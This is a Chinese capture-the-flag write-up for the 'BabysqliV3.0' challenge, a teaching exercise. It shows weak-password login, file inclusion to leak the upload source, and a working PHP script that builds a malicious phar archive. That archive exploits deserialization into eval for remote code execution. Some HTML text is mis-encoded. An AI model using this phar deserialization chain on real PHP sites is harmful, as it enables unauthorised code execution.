[GXYCTF2019]BabysqliV3.0

进入首页
需要登录,是弱密码。
admin password
登录后有上传功能,发现url中有file,
尝试LFI,
得到源码

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
    ä¸Šä¼ æ–‡ä»¶
    <input type="file" name="file" />
    <input type="submit" name="submit" value="ä¸Šä¼ " />
</form>

<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;

    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){    //不以数字和字母开头
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";   //上传
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "ä¸‹é¢æ˜¯ä½ ä¸Šä¼ çš„æ–‡ä»¶ï¼š<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

?>

在__destruct魔术方法能RCE
那么就phar://反序列化执行
我们需要做的只有

<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;
}

$o= new Uploader();
$o->cmd='highlight_file("/var/www/html/flag.php");';
$o->Filename='test';
$o->token='GXY79442539a5c3e7c76e8c13756fb6ad56';

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

file_get_contents()使$uploader对象通过toString()返回$this->Filename,由于phar://伪协议可以不依赖unserialize()直接进行反序列化操作,加之$this->Filename可控,因此此处$this->Filename配合phar反序列化后,destruct()方法内eval($this->cmd);最终导致了远程代码执行
知道了这个思路,后面的事情就简单多了
由于__destruct()方法中,想要eval($this->cmd);的前提条件是$this->token和$_SESSION['user']相等

那么就首先先传个txt文件,可以拿到$_SESSION['user']
把这个放在反序列化的token中生成phar.phar
那么传入phar.phar。
回显了文件路径
改url=xxxx&name=phar://(路径)
再上传文件来使phar.phar响应。

推荐文章